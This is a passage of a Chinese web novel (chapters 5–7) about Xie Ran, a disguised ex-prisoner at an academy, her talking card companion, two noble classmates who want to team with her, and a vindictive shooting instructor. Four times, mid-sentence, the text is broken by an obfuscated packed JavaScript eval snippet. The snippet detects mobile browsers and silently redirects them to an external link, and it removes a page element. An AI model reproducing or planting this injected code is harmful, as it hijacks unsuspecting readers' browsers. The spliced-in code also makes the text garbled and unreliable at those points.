“裘家旁支的小少爷裘景嵘,欧阳家的三少爷欧阳淮,还有常家家主的独子常纪明。” 谢然说:“能不能用你的能力看看,裘家旁支与主家关系如何?” 猫猫牌沉默片刻,说:“不算太好。这些大家族关系复杂,难以一言以蔽。不过我能看到,裘景嵘和裘落雨交情不深。” “那便不能是记恨上我了。”谢然走出教学楼,选了条僻静的小路:“另外两个是怎么回事?” “我能感受到他们对你好奇居多,没感受到太多恶意。” 谢然笑,原来是把她当珍稀物种看了。 对方不带有恶意,她便不必把这种打量放在心上。一门心思盘算自己要做的事:“今夜,我要找机会去象牙塔一趟。” 她从口袋里掏出那副占卜牌,随手抽了两张:“鲜花和权杖,有什么说法吗?” 猫猫牌凝神思索片刻,摇头:“看不出吉凶,劝你行动谨慎些。” “知道了。”谢然把牌收进口袋,前方转角背光处蹲着个低头看书的学生,听见有人说话,抬头见小径上只有一名女生,眼神中露出几分茫然。 谢然装作若无其事绕过他继续往前走,走到他看不见的地方,才小声说:“在学校我们不方便交流,你那技能练得怎么样?” 前些日子胖猫异能升级,开发出一个伴生技能——心通。好用是好用,但效果不稳定,经常说一半就掉线,谢然一直没和他试过。 胖猫撇嘴,带着几分幽怨说:“我想练,但也得有人陪我练啊!” 谢然微顿,开口:“那现在试试吧。” 胖猫“坐”到她肩膀上,屏气凝神。片刻后,一道清越的声音传入谢然脑海。 “你的信号似乎格外好连,而且比预料中稳定得多。” 谢然默声回他:“以后出门在外,就用你的异能交流吧。” 是夜,谢然裹上夜行衣,趁宿管睡着,偷溜出宿舍。 躲过所有监控顺利抵达象牙塔外,厚重的石墙遮挡了全部视线,只在朝南的一侧开了一道小门。门上没有设任何机关,看似与寻常入口无异,但谢然知道如若擅自闯入,迎接她的定然是重重陷阱。 还不如想办法从外围石墙翻进去。 谢然走到北侧,藏到一棵树后,从脚边拾起颗鹅卵石朝石墙扔去。石子砸在墙上,在寂静的深夜里发出格外清脆的一声。 墙面没有任何异动,谢然勾唇,很好,至少她不会在攀墙时被无形的激光炮火轰成碎渣。 又加大几分力气,扔了一颗石头进墙内。谢然侧耳细听,石头落地片刻,墙内便传来杂且多的脚步声。 是骑士团的巡逻兵。 听脚步声的数量,围过来的至少十余人。 谢然知道他们人人都携带重型军火装备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17565292|204722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,发现擅闯者有权限将其即刻击毙。谢然单枪匹马,恐不是那么多人的对手。 外面的人进不去,只能引里面的人出来…… 如何引大主司出山又是一个难题…… 微风拂过,枝丫轻颤,身后忽地响起微弱的窸窣声,谢然神经一紧,一枚刀片自袖口飞速划出,藏在双指之间:“谁?” “额……”一人自阴影中走出,将落到头顶的树叶拍下去:“别紧张,我也是2班的,咱们白天才见过。” 谢然双眼微眯,竟是欧阳淮。 他来这里做什么? “你跟踪我?”谢然捏紧刀片,只要他敢说一个“不”字,她就会立刻切断他的喉咙。 面前的男生挠挠头,眼神露出几分歉意:“抱歉,我不是故意的。额……不对,我其实是故意的……” 他有一双乌黑明亮的狗狗眼,瞧着格外真诚。 “故意跟踪我?为什么?” 面对厉声逼问,男生有些无措,忙解释:“你别误会,就是我们白天见你挺厉害,出于好奇才……” “我们?”谢然敏锐捕捉到关键词:“你还有同伙?” “额……”男生眼神飘忽:“也不能说是同伙,请相信我们没有恶意……” 胖猫的声音自脑海中响起:“虽然人是蠢了点儿,但他的确没有恶意,要不放过他?” 谢然目光微凛,正要逼问他同伙是谁,深处树林又传来一阵细微的脚步声。 “是秦瑞,”脑海里传来胖猫半带调侃意味的提醒:“今夜你招惹的人不少啊。” 谢然面色冷凝,看来秦瑞还没打消对她的怀疑。 欧阳淮也注意到身后的声音,神色微紧。两人大半夜出现在象牙塔附近,行踪鬼祟,怎么看都有问题。若被人发现,搞不好会被当成刺客抓起来。 何况他们一贵族一平民,身份天差地别却在夜里私会,更显可疑。 谢然靠近他,声音故意抬高几分:“想让我和你组队?行啊,说好的十万金币,一分都不能少!” 学院不少贵族爱拿平民取乐,开高价诱逼平民与其组队,实则是为了途中能有个帮自己干活的苦力。谢然脑子转得快,迅速给他们的“私会”寻了个合理的由头。 欧阳淮很上道,忙配合应道:“行,十万就十万。我现在给你转!” 十万对他来说不过洒洒水,眼也不眨便转了过去,顺道还加了谢然好友。 收款提示音响起,谢然故意将屏幕调到最亮,把光打向秦瑞藏身的方向,扬唇:“合作愉快。” 光照的方向再次传来些许窸窣声,融在风里微不可察。胖猫说:“他走了。” 谢然收了手机,冲面前的男生摆摆手:“再会了,欧阳少爷。今夜之事,烦请保密。” 有了这笔交易,他们便有了共同秘密,料他也不敢往外乱说。 至于他那位同伙……谢然大抵也能猜到是谁,应当是白日站在他身侧的那位常家少主——常纪明。 常家依附于欧阳家,两家少主关系好也是应当。谢然想起常纪明那双狡猾的狐狸眼,他看起来比欧阳淮聪明多了…… 或许唆使欧阳淮跟踪她的人,就是他。 他有什么目的谢然不清楚,但好在猫猫牌说他们都没有恶意,她便可以静观其变,等他们主动露出狐狸尾巴。 5. 第 5 章 欧阳淮翻墙回寝,甫一落地便对上一双微微上挑的狐狸眼。 “我去——”他吓了一跳,看清那人面容后才松了口气:“兄弟,站这做什么?差点吓死我……” “是你差点吓死我!”常纪明拉他进宿舍:“这么晚不回来,还以为你被逮了。” 欧阳淮挠挠头:“是碰上了位巡逻的老师,好在糊弄过去了。” 常纪明双手抱胸,靠在门上:“有没有发现什么?” 欧阳淮摇头:“我就看到她走到象牙塔附近,没看清她做了什么。” “象牙塔……”常纪明喃喃:“她去那里做什么?” “或许只是想散步”欧阳淮说。 “散步会散到象牙塔那去吗?还是在封寝时间。”常纪明沉思片刻,说:“我的直觉没错,她果然不简单。” “我看她不像坏人。”欧阳淮掏出手机:“我加了她好友,她刚才发了条朋友圈,你要不要看?” “加了好友?”常纪明接过手机,看到谢然三分钟前发布的一条朋友圈写着: 风好冷,夜好黑。独自来到卡尔德里斯的第二天,睡不着,想家…… 欧阳淮说:“看吧,她就是个普通的平民女孩。白天受欺负了,晚上一个人偷偷难过,还挺可怜的。” 常纪明怎么看都觉得这条朋友圈有猫腻,抬眼问:“你怎么加上她好友的?” 欧阳淮将方才一切事无巨细讲了一遍。常纪明眸中微亮:“这么说,她答应和你组队了?” 欧阳淮犹犹豫豫嗯了一声,说:“但那只是权宜之计……” 常纪明嘴角轻挑:“钱都给了,交易自然算数。等接任务时可由不得她拒绝。” … 虽没见着大主司,但一晚上卡里平白多了十万金币,谢然糟糕的心情缓和了些许。 回到宿舍,猫猫牌飞到她面前,开口说:“大主司不常出面,除非像三年前雷安特那样的特殊事件。” 只有学校发生暴力事件或无端受到外界攻击,大主司才会亲自出面解决。其余时间他一直待在象牙塔处理公务,只有学校高层和曲、裘、欧阳三大家族的家主才有资格面见。 胖猫站到书架上,居高临下看着谢然:“没查清学院里是否藏有异域生物前,你不会动手。咱们现在很难见到他。” 谢然坐到椅子上,仰头看他:“你想说什么?” “既然见不着大主司,不如先想想你曾答应我的事。”胖猫微微抬起下巴,拿出说正事的架势道:“想想如何帮我恢复肉/身的事。” 他并非真是张纸牌,而是一个寄宿在这张纸牌上的灵魂。三年前不知发生了什么,他肉/身损毁,前尘尽忘。幸好与谢然相遇,才捡回一条性命。 休养一段时间后,他恢复神志,了解了谢然窘迫的状况后,与她达成交易:他用异能帮谢然预探“大灾难”降临的时间,而谢然则要帮他找到重塑肉/身的异能。只要回到原来的身体,他的记忆就能恢复。 目前,他什么都不记得,只通过异能测算出自己的姓名——他叫曲星臣。这个特殊的姓氏让他担忧焦虑,他不敢想自己与曲家是否有千丝万缕的关系。因为谢然说曲家压根没有他这号人。 往好处想,他只是一个籍籍无名的普通人,凑巧姓曲,又凑巧得了异能。往坏处想,他是曲家权力斗争的牺牲品,死后名字被抹去,生前一切痕迹都荡然无存。 前者的可能性微乎其微,因为异能不是寻常人能得到的东西。据谢然说,异能来自于异域生物心脏中的晶石——心核。即使他与曲家无关,与异域生物也定然有千丝万缕的关系。 他甚至有可能是联邦,或者说是谢然的敌人。 这种猜测令他恐慌,促使他想尽快恢复记忆,找到自己是谁。 但谢然好像一直没把他的事放在心上…… 谢然一手支着下颌,眸中带着几分困惑:“有件事我好像一直没告诉你。唔……我以为你知道……” “什么?” “你是大主司给我的,你的身世来历大主司定然清楚。”谢然说:“所以我找大主司不光为我自己,也是为了你。” 猫猫牌呆滞片刻,严肃的表情崩裂些许:“我是大主司给你的?等等,我不知道这件事……” 当时他一睁眼就在谢然手上,完全不知他竟曾归属于大主司! “当年大主司亲自审理我的案子,曾来监狱探望过我一回,给我送来这副纸牌。”谢然将牌盒掏出,放到桌上:“一开始我以为这只是副寻常卡牌,直到出狱后,你忽然开口说话,我才注意到牌里还藏着一位孤魂野鬼。” 胖猫嘴角微抽:“我不是鬼……所以大主司给你牌,是想把我交给你?” 谢然摇头:“不,当时我自身难保,大主司应该没想再甩个拖油瓶给我。他给我牌,应该只是想给我传递逃跑的方法。” “……”忽略掉扎心窝的前半句,胖猫问:“一副牌而已,怎么给你传递逃跑的方法?” “大主司把牌交给我时只说了一句话,‘这副牌能帮我指引方向’。起初我也猜不透他是什么意思。在他走后翻来覆去将牌看了三遍,才终于瞧出一点端倪。” “什么端倪?” 谢然将牌取出,从中挑出所有画着红色爱心的,按记忆中的顺序一张张摆在桌上。 猫猫牌凑近,从左往右看过去,眼中逐渐染上讶异的神色:“这几张牌的首字母拼起来是‘nextdoor’,隔壁?当时你隔壁有什么?” “是一间空牢房。”谢然说:“当时我误以为那间牢房藏着逃生通道,还想着怎么让狱卒把我换过去,但第二天那间牢房竟关进来一个面目全非的死刑犯。那死刑犯有一种特殊的异能,见到她我才知道大主司真正的意思。” 那名死刑犯名叫夏仲青,不知从哪里获取了异能,只要有皮肤接触,她就能与人进行灵魂交换。 联邦了解她的异能,把她押进监狱时人人都穿着厚厚的隔离服。且不允许任何人与她接触,生怕她借别人的身体逃走。 甚至连水和食物都不给送,就把她丢在牢房自生自灭。 但夏仲青不甘心接受死亡的宣判,她和雷安特的牢房墙壁间有一条一指宽的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17565293|204722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小缝,这条小缝给了她无限求生的希望。 得知雷安特也有异能,夏仲青抛出橄榄枝,说希望能和她做一场交易。 夏仲青想与她交换灵魂,她用雷安特的身体,在去往处刑台的路上与羁押她的狱卒再次交换灵魂逃跑。而雷安特则可以用她的身体假装饿死,被抛尸后逃脱。 为确认囚犯身亡,狱卒在抛尸前会给尸体补上两枪。而雷安特拥有异能“无烬”,区区两发子弹根本要不了她的性命,还会让她获得充沛的力量逃跑。 雷安特知道,这是大主司送给她的“机会”。 但交换灵魂之前,她得知道自己换到了什么人身上。 夏仲青老实交代,这层皮的原主名叫“谢然”,是个无父无母的穷学生,在前往卡尔德里斯报道时被她盯上。夏仲青为丢掉被联邦画到通缉令上的脸,强迫这个穷学生交换了灵魂,并在之后杀了她。 据夏仲青所说,她是在被捕前刚交换了灵魂,联邦军还没有看清她的新面孔,她便被一发炮弹彻底毁了容。 所以联邦军根本不知道她是与谢然交换的灵魂,雷安特逃出监狱后,大可以用“谢然”的身份生活。 且谢然是个孤儿,社会关系极其简单,甚至没有朋友。雷安特不必担心此后遇到熟人露馅。 雷安特最终答应了这笔交易。 她逃脱的过程算得上顺利,至于夏仲青…… “她运气差些,大主司亲自带她出监狱,押送至刑场行刑,她没机会逃,最终成了我的替死鬼。”谢然说。 夏仲青用异能杀了不少人,本就是死刑犯死不足惜。但…… “你还是没说,我和大主司有什么关系?为什么我会在他手里?”猫猫牌飞至她面前,提醒道。 谢然耸肩:“关于你的来历,我也不清楚。所以我才想找大主司,把这些谜团都解开。你从何而来,他为什么救我,甚至他是否知道异域生物的存在……这些我都要问明白。” 听她说完,胖猫心里忽然划过一个骇人的猜测:“万一……大主司不知道我寄宿在这副卡牌中呢?” 受异能的影响,他预感极准。他对那位深居在象牙塔里的大主司没有半分好感,丝毫不觉得失忆前他们的羁绊能有多么深厚。 “大主司并非全知全能的神。”他越想越笃定,“说不定我是偶然进入到那副卡牌,我们的相遇或许只是一场意外呢?” 他在谢然离开监狱后才苏醒,并不知是如何进入卡牌的。万一他是在大主司把牌交给谢然后才进入卡牌里的呢?他们不能确保大主司一定知道他的来历。 且他肉/身俱毁,此前定然经历过一场灭顶之灾。若他仇家没死,仅剩一缕魂魄的他自身都难保,活脱脱就是一只拖油瓶。当时在狱中雷安特自顾不暇,大主司怎会再把另一个麻烦推给她? 无论怎么想,他都不像大主司的所有物。他几乎可以认定,大主司绝不知道他在卡牌中。 听他说完,谢然身体微微向后仰,双手半搭在椅背上,扬眉饶有兴致道:“很有意思的猜测。不妨你再用异能看看,失忆前我们是敌是友?” 6. 第 6 章 异能只能从异域生物的心核中获得,曲星臣拥有异能,说明他定然与异域生物有牵扯。是敌是友还真不好说。 胖猫忽然泄了气:“我看不出来……” 他异能虽有A级,足以测算自己的前尘过往,但失去肉/身后水平被压缩至B级,只能简单预测尚未发生之事的吉凶祸福。 况且,就算能看,他也不想看…… 谢然不难为他,只说:“你不必担心曾经是不是我的敌人,至少现在,对我来说这件事不重要。” 自他们相识,曲星臣便已没了记忆。谢然认识的曲星臣,是能与她站在同一侧,一起并肩作战的战友。所以在他恢复记忆前,前尘过往都不必计较。 见胖猫神情骤然放松下来,谢然轻笑:“若真有什么怨什么仇,等你恢复了记忆,再找你算账。” 胖猫一口气松到一半又提了上来,不由噎了下:“就不能往好处想,万一我们的立场从始至终都是一样的呢?” “最好是。” 虽这么说,但谢然对此不抱太大希望。不论是异能还是姓氏,都指向曲星臣绝非泛泛之辈。 何况当年最想置她于死地的,就是曲家家主曲随山。她杀了曲家七名青年才俊,几乎斩断曲家这一辈所有血脉。这种血海深仇,绝非一场失忆便能轻易抹除。 曲星臣的一切都在警醒着她,他们绝不可能是一路人。 但在他恢复记忆前,谢然可暂时忽略这些。 她还有一堆事要做,焦头烂额自顾不暇。现在多一个朋友就是多一个帮手,没什么不好。 更深露重,谢然打了个哈欠,疲惫地揉揉太阳穴。 已经快三点了。昨晚就没怎么睡,今天又忙到现在,她现在恨不得一觉睡到明天上午。 “明早是谁的课?”她问。 如果是脾气好管理又比较宽松的老师,她直接翘课算了。 过目不忘早将课表背下的胖猫说:“慕恪的射击指导。” “……”听到这个名字,谢然缓缓睁开眼,眼中带了几分幽怨:“怎么是她啊……” “怎么了?” “明天你就知道了。”谢然把自己扔到床上,脸陷进柔软的床垫,含混道:“她可不好对付……” 翌日,谢然睁开眼时,距上课只剩十分钟。 手机上有几十条苏祺发来的消息,问她怎么还不来上课?奈何她开了静音,什么也没听见。 “糟了……”迅速换衣洗漱,飞奔至训练场,却还是慢了一步。 踩着上课铃的尾声走进教室,本想悄悄站进队伍最后一排,走到一半却被一道凌厉的女声喝住。 “谁允许你归队的?站住!” 无奈停下脚步,低头认错:“对不起,我起晚了。” “把脸抬起来!” “……” 谢然缓缓抬起下巴,冷淡的眸子对上女教授锋利的眉眼。 看清她的面容,女教授瞳孔微缩,咬牙切齿:“好啊,死了那么多年,还能过来恶心我一回。不愧是你啊,雷安特。” 慕恪讨厌雷安特,视她为死敌,是卡尔德里斯人尽皆知的事,谢然对她的反应并不意外。台下以裘落雨为首的贵族学生则一副看戏的姿态,等谢然出糗。 谢然淡声说:“慕老师,我叫谢然。不是雷安特教授。” “我当然知道你不是她。”慕恪皮笑肉不笑说:“谢然同学,在我的课上迟到,罚跑三十圈,不跑完不许下课。” 谢然无奈说:“老师,这不公平。” 慕恪明显针对她,三十圈足有四十多公里,一节课不过两个小时,怎么可能跑的完? “在我这里没有公平,你既敢犯错,就应该承受相应代价。”慕恪抬着下巴,目光睥睨:“顺带一提,每堂课我都会布置相应的任务,未完成者也不许下课。本堂课的任务是十米射击,要求连续十发都在九点五环内。若没有射击基础,你最好快点跑完,多给自己留些练习时间。” 谢然脸色彻底冷下来,慕恪这是明摆着找碴,这种要求连打小摸枪的贵族都很难完成,何况是她一介平民? 裘落雨见她被刁难,心中大喜,戏谑道:“还愣着干嘛?快去啊,难不成还要老师催你?” 慕恪冷冽的目光朝她打去:“谁允许你说话的?你也罚跑三十圈!” 裘落雨愣住,谢然没忍住,噗哧一声笑了出来。 裘落雨朝她瞪过来,眼里似要喷火。谢然扬眉,被慕恪针对的不悦疏散大半,好整以暇道:“走吧,小千金。快点跑完可别耽误下课~” 谢然站上跑道,三十圈对“平民谢然”来说或许是难以完成的任务,但对她不是。 轻轻松松跑完十圈,令她意外的是,小千金虽打架水平差些,但体力还不错,一直紧跟在她身后,甚至还频频想超过她。 她像猫逗老鼠一样戏弄了小千金几次,在她以为能超过自己时突然加速,甩开她一截后再慢慢减速,继续给小千金超过她的希望。 本以为小千金能反应过来,奈何小千金实在笨得可以。谢然没了兴致,加快速度和她迅速拉开距离。 藏在衣领下的猫猫牌飞出,声音传入她脑海:“两节课招惹两名老师,再这么高调,你身份迟早暴露。” 谢然没有开口,在脑中与他交流:“无妨。至少从他们两个的态度,能确定他们没被异域生物吞噬。” 猫猫牌看了眼落在后面逐渐体力不支的小千金,说:“开学一周就能组队接任务了,校园官网上已公布任务面板,你想好和谁组队,接什么任务了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17565294|204722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” “组队就只带苏祺吧,至于任务……有没有比较可疑的?” 胖猫说:“有倒是有,不过比较棘手。” “棘手?” “嗯。”胖猫说:“天曜星的布朗家主——帕尔德·布朗于昨日惨遭杀害。他死在自己卧室,但监控和来往的女仆都没看到任何可疑人员进入宅邸。” “你怀疑是异域生物作案。监控可以篡改,但人眼不行。除非有能隐身或能改变人记忆的异域生物。”谢然脑子转得很快:“而棘手的点是,布朗家依附于曲家,帕尔德还是骑士团团长爱德华·布朗的侄叔,谁都不敢得罪。” 胖猫说:“世家大族盘根错节,往往牵一发动全身。布朗家把家主意外身亡之事报上来,应该只想在大主司面前走个流程,凶手是谁对他们来说并不重要,重要的是他们不想任何人借此机会探查布朗家的秘辛。这种任务两个星期没人接就会被撤掉,学院里没人想得罪爱德华,大家都默认这件事不会有人理会。” “布朗家想将此事轻轻揭过,我偏不要他得逞。而且,我也想趁这个任务,看看他们贵族有什么见不得人的秘密。”谢然说:“虽然知道如果对上异域生物,事情会棘手些,但我倒希望我们能遇到异域生物。” “为什么?” “因为我想通过这次任务,给联邦一场重磅新闻。我要让联邦意识到异域生物的存在,让联邦一起开始戒备那场即将到来的大灾难。” 胖猫叹气:“如果我能量充盈一些就好了。至少能帮你测算出帕尔德的死是否真的与异域生物有关,我们也好早做准备。” 异能的使用需要消耗大量能量。肉/身损毁后,他体内能量严重亏损,能施展的异能有限。最多只能帮谢然预测未来事态的祸福吉凶,算不出具体问题的答案。 但好在他失去肉/身这三年,能量在慢慢恢复。虽然无法恢复到原本的状态,但他能感受到自打来了卡尔德里斯,他体内的能量比在贫民窟那时充盈了很多。 都说卡尔德里斯的风水磁场绝佳,如若这里的环境果真养人,说不定不久之后他便可以施展更强大的异能。 “不着急。”谢然说:“这本就是我的事,你肯帮我便足够,不必太勉强自己。” 猫猫牌嗯了声,跟着她跑至终点,重新藏到衣领下。 四十多公里跑下来,就算是谢然也不能维持一开始的气定神闲。她脚步发软,呼吸急促,恨不得立马坐下歇一会儿。 但她没有休息的时间,还剩三分钟下课,她径直走到射击场,拿起轻型手枪对着靶心,砰砰砰连续打出十发子弹。 [恭喜,您的平均成绩是10.8环!] 负责记录成绩的机器人发出不带任何感情的播报,射击场寂静一瞬,全场骇然。 7. 第 7 章 10.8环……就算是自小练枪的贵族子弟,也打不出这种成绩。 欧阳淮走到常纪明身侧,手肘顶了顶他腰窝:“她比你厉害多了。” 男生微眯起一双狡黠的狐狸眼:“越厉害越可疑,你见过枪法这么准的平民吗?” 欧阳淮目光不由落到班上另一名平民学生上,练了整整两小时,才堪堪达到老师设定的及格线。 这种进步速度,放在平民中已算天赋异禀,而与之相比,谢然则足以称得上逆天了。 连慕恪也不由坐直身子,眸中闪过几道复杂的情绪。 她记得,雷安特从未开过枪。 那学生虽不同寻常,但她不可能是雷安特。 绝不可能…… 下课铃响,谢然放下枪,余光瞥见苏祺冲她小跑过来。 “然宝……你还好吧?” “不太好,要渴死了。”谢然说。 “我们现在就去买水!”苏祺挽上她胳膊,往教室外走。 刚出教室门,下台阶时忽然被一只手拦下。 谢然驻足眼皮微抬,看向前方二人。 是狐狸和小狗。 小狐狸给她递了瓶水,脸上挂着恰到好处的微笑:“谢然同学,谈谈组队的事?” 谢然垂眸,心道不过权宜之计,对面竟当真了。 想拒绝组队,只能把那十万金币退回去。 但她不想退。 皮笑肉不笑说:“两位贵族少爷没必要纡尊降贵,和我一介平民厮混在一块吧?” 谢然有契约精神,但不多。尤其面对贵族,道德感更所剩无几。现在只想厚着脸皮,把这件事赖掉。 没想到小狐狸却说:“卡尔德里斯只看实力不看出身。我们不是迂腐的贵族,不在意出身贵贱。” 谢然保持沉默,看起来不是很信。欧阳淮一双狗狗眼一眨不眨盯着她,补充道:“我们看了你刚才打枪,你很厉害。” 谢然叹了口气,换了个说辞:“你们应该知道,实力强的人一般性格都不会太好。本人脾气暴躁且吹毛求疵,跟我共事,你们要承受不小的精神压力,何苦呢?” 常纪明面不改色,只温声道:“没关系,我们包容度很强,你想做什么都可以。” “……” 谢然目光微眯,只得使出杀手锏:“我想做什么都可以?包括选任务?” “当然。”常纪明说。 谢然微笑:“我要接布朗家的案子。” 看你不知难而退。 常纪明神色稍顿,却还是点头:“可以。” 谢然有些讶异:“你们确定?” 欧阳淮说:“确定。” 谢然这才认真打量起面前两位少年,对他们多了几分兴趣:“我不喜欢拖后腿的队友,到时候你们得听我的。” “当然可以,我们认可你的实力。”常纪明说。 谢然轻笑,对他们刚才的话信了几分。 或许他们真的跟其他贵族不太一样。 身后传来沉重的脚步声,谢然转头,教室里的人早走空了,这脚步声的主人只能是那位留堂的裘家小千金。 下课才不过五分钟,她很好奇,以小千金的水平,真能这么快完成慕恪布置的任务? 视线落到小千金身上,小千金抬头,像小狗呲牙般恶狠狠道:“看什么看!” 谢然上下打量了她两眼,嘴角微微上扬:“这么快就完成任务了?枪法不错。” “呸!本小姐用你夸?” 她不是听不出来谢然在阴阳她。她刚跑完步,手脚发软,连枪都拿不稳,自然完不成慕恪老师布置的任务。好在慕恪老师说下午学院组织聚会,要提前做准备,才堪堪饶过了她。 自来到卡尔德里斯,她跟谢然对上三次,吃了三次亏,即便再迟钝,也反应过来谢然不是好惹的人。 但即便惹不起,她也不想咽下这口气。 她一定要找机会报复回来! 裘落雨学乖了,知道每次与谢然起口舌之争,吃亏的都是自己。这次只翻了个白眼,默默离开。 见小千金第一次对她的嘲讽无动于衷,谢然有些意外。常纪明提醒:“三年级的学长裘千帆是她亲哥哥,平日最疼爱他这小妹。若知道你欺负他小妹,定然要找你麻烦。” 谢然扬眉:“那你们可要小心了,跟我组队,小心被牵累。” 常纪明笑着说:“我们可不怕他。” … 为养足精神,是夜,谢然早早上了床。 虽然疲惫,但睡得太早,压根睡不着。 好不容易培养了些许睡意,半梦半醒之际,胖猫的声音忽然传入脑海。 “小卖部有人光顾了。” 谢然立马睁开眼,登上暗网。 小卖部后台果然有客人留言。 [请问有能让人失忆的异能吗?] 谢然回:你买异能做什么? [怎么还打探客人隐私呢?] 谢然:店里规矩。都写在购买须知上了,你不看? 这是她对买家设的第一道关卡,异能珍贵,不是什么阿猫阿狗她都卖。像之前在贫民窟遇到的那种心怀不轨之徒她更不会卖。 对面沉默片刻,估计是去看须知了,过了一会儿说:[噢噢,不好意思,有点着急没看全。] 谢然:现在你可以说了。友情提示,必须说实话,否则不卖。 那人反问:[你怎么知道我说的是不是实话?] 谢然:你可以猜猜我的异能是什么。 [……] 没人知道小卖部的老板异能是什么,谢然这么引导,会让人误以为她的异能是辨别谎言,便会老老实实说实话。 就算对面聪明些,敢说假话骗她,谢然也不怕。因为辨别谎言恰是曲星臣的异能。 对面还算老实,没拿假话搪塞她,犹豫了片刻说:[事情是这样的,我是个学生,刚才和朋友玩大冒险输了,惩罚是亲学校里的魔鬼教授一口。那教授喝醉了没发现,但保不齐明天酒醒了会忆起我来。她要是知道我做了什么,定不会轻饶了我。所以我想用异能彻底把她今晚醉酒后的记忆抹除,永绝后患。] “……” 已知小卖部只对卡尔德里斯开放,这人定是卡尔德里斯的学生。那他口中的魔鬼教授…… “是谁那么大胆,敢去亲慕恪?”谢然咂舌:“明早慕恪酒醒,非把他砍成血雾不可。” “那你卖吗?”胖猫问。 “不卖。”谢然回得干脆。她不可能答应这种无理取闹的请求。 [求求了哥,我可以支付任何报酬,而且也正好想试试新研发的机械 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17565295|204722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 义肢……] 对面还以为她是个男的,求人的态度放得很低,但谢然仍旧不同意。将对面拉黑,跟胖猫说:“你去看看今晚宴会上都发生了什么。” 专给老师办的开学宴,那学生凑什么热闹? “好。”猫猫牌从窗口飞出,不过半小时便飞了回来。 “宴会设在日冠楼的礼堂,我去的时候,人已经走得差不多了。慕恪的确喝醉了,最后清场时都站不起来,还是被秦瑞扛出去的。” “偷亲慕恪的学生是谁?”谢然问。 “是那天在格斗课上偷瞄你的,裘家旁支的小少爷裘景嵘。”胖猫说:“他没避开监控,身上的香水还沾到了慕恪身上。即使慕恪不记得,明天闻到味道,也会去查。” 谢然为他默哀片刻,惹了慕恪,他这四年的射击课都别想好过了…… “你不帮帮他?”胖猫问。 “你这话说得有意思。”谢然躺回床上:“我像会管闲事的人吗?” 听她这么说,胖猫不知怎的心里竟舒坦了些,说:“我还以为你会护着那些学生。” “要护也是护苏祺这种乖巧的。”谢然闭上眼翻了个身,声音逐渐含混:“那些爱惹事的臭小子我可不管……” 许是今夜睡得好,第二日谢然起了个大早,神清气爽。 正想着今天要做些什么,忽然听走廊里响起杂乱的脚步声,谢然眉心微蹙,有些困惑。 这一层都是和她一个班的女生,今上午又没课,怎么早起的那么多? 而且听声音都着急忙慌的,她们要去干什么? 顶着一头蓬松的黑发拉开门,正好和来敲门的苏祺打了个照面。 苏祺差点没认出她,愣了片刻才说:“然宝,快下去看,裘景嵘被慕教授罚了!” “这么快就被发现了?”谢然有些吃惊,下意识喃喃。 “什么?” “没……”谢然急忙打住,跟她说了句“稍等”,回屋迅速换好衣服,跟苏祺一起往楼下去。 不过七点,操场上已聚满了人。 谢然环顾四周,见慕恪站在跑道口,紧盯着罚跑的几人,面色阴翳。 顺着她的目光将视线转到跑道上,被罚的人竟不少,不光有裘景嵘,还有昨晚那帮撺掇起哄的贵族子弟,竟一个不落,都被慕恪逮来负重跑圈。 谢然听一旁女生说:“听高年级学长说,以往慕老师再生气也不过罚三十圈,今天却罚了景嵘少爷五十圈,这要跑下来,人不得废了?” “是呀,好心疼!景嵘少爷到底犯了什么错,惹慕老师发这么大火?”另一名女生说。 “谁知道呢,即使犯错,看到他那张脸再大的火都该消了,慕老师果真是魔鬼,半点不通人情!” 谢然:“……” 开学才两天,这位裘小少爷人气竟不低。围过来的多半不是看笑话的,而是来心疼他的。 目光落到跑道最前方那人身上,裘小少爷似乎完全没有被惩罚的窘迫,反倒十分享受万众瞩目的感觉,时不时冲操场外抛个飞吻,惹得女学生们频频尖叫。 谢然被吵得头疼,拉着苏祺想走,却在转身前忽然与裘小少爷对上视线。 